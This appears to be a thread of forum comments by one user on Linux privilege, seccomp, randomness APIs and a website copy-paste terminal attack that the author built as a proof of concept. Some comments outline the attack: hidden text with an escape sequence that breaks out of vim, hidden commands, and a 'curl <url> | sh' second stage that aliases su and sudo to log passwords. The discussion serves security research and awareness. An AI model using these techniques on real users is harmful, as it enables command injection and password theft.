TheJH_

Re b): Yeah but, like, colloquially "root" means "a process in the init user namespace with all UIDs set to 0 and a full capability mask".

Re a): If you are root in that sense (and haven't been blanket-denied the ability to use capabilities like CAP_SYS_ADMIN by an LSM), and not subject to a strict seccomp policy, then you cannot really in general be securely constrained with LSMs.

The kernel essentially treats CAP_SYS_ADMIN in the init userns as the catch-all for "you have been granted the ability to administer and access anything on the system", for anything that doesn't have a more specific permission and isn't access-controlled by UID. And if you can, like, call swapon() on an arbitrary file to make the kernel swap memory from the whole system into that file of your choice, LSM-enforced security boundaries probably don't work all that well anymore.

seccomp does not use the eBPF userspace interface or any of the associated permission checks. seccomp (and also the classic socket filter interface) take cBPF (classic BPF), with no privilege checks; they use completely separate verification logic for this cBPF bytecode (the eBPF verifier is not involved IIRC), and then the cBPF code is (on almost all architectures) translated into eBPF. The eBPF kernel component is then only responsible for execution/JITting of this already-verified code, nothing else.

I think that on linux, you ideally don't want /dev/urandom, you want a recent kernel and getrandom(buf, len, 0). From the manpage:

If the GRND_RANDOM bit is not set, then the /dev/urandom pool will be used. Unlike using read(2) to fetch data from /dev/urandom, if the urandom pool has not been sufficiently initialized, getrandom(2) will block (or return -1 with the errno set to EAGAIN if the GRND_NONBLOCK bit is set in flags).

Then again, that's probably not important if you interactively launch gpg on a desktop system that wasn't just installed a minute ago or so.

Aaaactually, if you read the code, you'd see that he XORs the bytes from rand() with bytes from /dev/random. This project is horrible, but that's not one of the completely wrong parts.

You can embed \x1b (escape) into a webpage. When you copy-and-paste that, it has the same effect as hitting ESC in the editor. So, I'd just have to make you copy "<evil command>#\x1b:wq\n" to also catch the case that you're using vim instead of directly pasting. However, I can't figure out a way to escape from nano.

(Tested it with the combination chromium+xterm+vim.)

True, and that might also give you access to more traffic than just a random open wifi because people expect a wifi there and look for it.

I initially thought it'd work, but actually, this protection can be circumvented. See the updated version of http://thejh.net/misc/website-terminal-copy-paste.

Right... for a real attack, you'd have to hide the evil commands near the end of the normal-looking one (the string you see there is truncated). I thought about doing that, but it'd give you a few seconds to react in this example because you'd have the git command run first. Hmm, maybe it'd be doable using backticks or so? Those could be put at the end and would evaluate first anyway...

Definitely, I didn't even know that command :D - but I had to `apt-get install sl` on my machine first. Maybe just do a telnet to a nonstandard port on my server and then send special characters to do the animation? That could work...

Maybe... unless you figure out a trick to manipulate the OCR results with invisible, nearly-white gray areas in the image or so.

You might want to mark the newlines in that command... without those, the attack would be pretty boring.

I feared someone would do that. :D Well, it'd be easy to work around this if you have JS enabled... without it, it would probably not be so easy to trick you into copying multiple lines.

That sounds like a really good approach.

Yes, I got the idea from all the sites that do it using Javascript, but I wanted to post the example to ##security, and half of the people there probably has the browser set to "block JS by default" :D

Well, if I had really wanted to build a serious attack instead of a harmless PoC, I'd have downloaded a second stage via `curl <url> | sh`, and that script would, for example, set aliases in your shell for `su` and `sudo` that call the real commands but log your password in the background. Unless you're using requiretty, of course, but I don't assume that you're using a real tty.

If the shell had a protection against text pasted together with an ending newline (and would just strip that newline), it would help, I think.